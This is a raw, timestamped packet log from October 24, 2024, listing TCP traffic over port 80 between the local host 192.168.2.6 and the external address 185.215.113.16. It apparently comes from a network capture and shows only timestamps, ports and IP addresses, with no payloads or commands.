Oct 24, 2024 11:02:35.328803062 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328883886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328897953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328910112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328921080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328932047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328932047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328944921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328957081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328969955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328982115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.329000950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.329006910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.329006910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.329015017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.329021931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.329025984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.329037905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.329039097 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.329051018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.329062939 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.329090118 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.334403038 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.334958076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.340492964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.340534925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.340553045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.340579033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.340595007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.340610981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.340621948 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.340642929 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.340653896 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349555016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349586964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349601984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349615097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349637985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349648952 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349651098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349667072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349680901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349688053 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349694014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349705935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349706888 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349721909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349728107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349740982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349755049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349756002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349785089 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349829912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349848986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349862099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349875927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349878073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349888086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349900961 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349916935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.349920988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349935055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.349972010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.352744102 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.409868002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.409905910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.409933090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.409951925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.409971952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.409986973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410012007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410028934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410043955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410058022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410058022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410058022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410058022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410073042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410100937 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410114050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410172939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410191059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410206079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410221100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410228014 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410248995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410250902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410264969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410279036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410293102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410309076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410320044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410340071 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410356998 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410371065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410386086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410401106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410413980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410444975 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410445929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410468102 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410475016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410490036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410506010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410521030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410522938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410537958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410557985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410572052 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410573006 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410576105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410604000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410618067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410624027 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410634041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410646915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.410671949 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.410707951 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411299944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411345959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411370039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411395073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411403894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411412954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411427975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411443949 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411443949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411458969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411484003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411484957 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411505938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411506891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411521912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411535025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411556959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411571980 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411571980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411588907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411602020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411612988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411622047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411629915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411643982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411655903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411669970 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411672115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411685944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411688089 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411700964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.411715984 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.411756039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.413470030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413561106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413577080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413600922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413609028 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.413615942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413630009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413654089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413669109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413685083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413714886 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.413714886 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.413714886 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.413753986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413769007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413784027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413796902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413817883 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.413849115 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.413881063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413897038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413908958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413923979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413935900 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.413938999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.413960934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.413990021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.417898893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.417973995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418109894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418174028 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418232918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418245077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418256998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418275118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418291092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418303013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418308020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418317080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418328047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418340921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418354034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418380976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418421984 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418467045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418478966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418493032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418523073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418586016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418606997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418620110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418634892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418652058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418659925 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418673992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418685913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418730974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418793917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418817043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418828011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418845892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418873072 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.418967962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418979883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.418992996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419023991 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.419204950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419265985 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.419332981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419466019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419491053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419502974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419526100 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.419550896 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.419605017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419620991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419661999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419675112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419682026 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.419727087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.419759035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419770956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419781923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419791937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419802904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419812918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419814110 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.419841051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.419858932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419872046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419878006 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.419883966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.419917107 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.465189934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.468317032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468354940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468369007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468380928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468393087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468403101 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.468404055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468430042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468430996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.468441963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468455076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468470097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468482018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.468487978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468496084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.468497992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468511105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468518019 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.468523979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468547106 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.468570948 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.468580008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468594074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468792915 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.468885899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468934059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468946934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.468990088 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.469017982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.469029903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.469044924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.469058990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.469094992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.528567076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528585911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528599977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528613091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528652906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528664112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528665066 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.528691053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528703928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528717041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528728962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528733015 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.528733015 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.528739929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528750896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528760910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.528762102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528773069 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.528786898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.528786898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.528837919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.529042006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529055119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529068947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529103994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529126883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529130936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.529139996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529153109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529155970 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.529187918 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.529215097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529227018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529238939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529252052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529263973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529264927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.529273033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529287100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529300928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529303074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.529314995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529320955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.529330015 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529342890 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.529345036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.529361963 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.529408932 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.530365944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530391932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530404091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530416012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530427933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530438900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530442953 CEST	49756	80	192.168.2.6	185.215.113.16
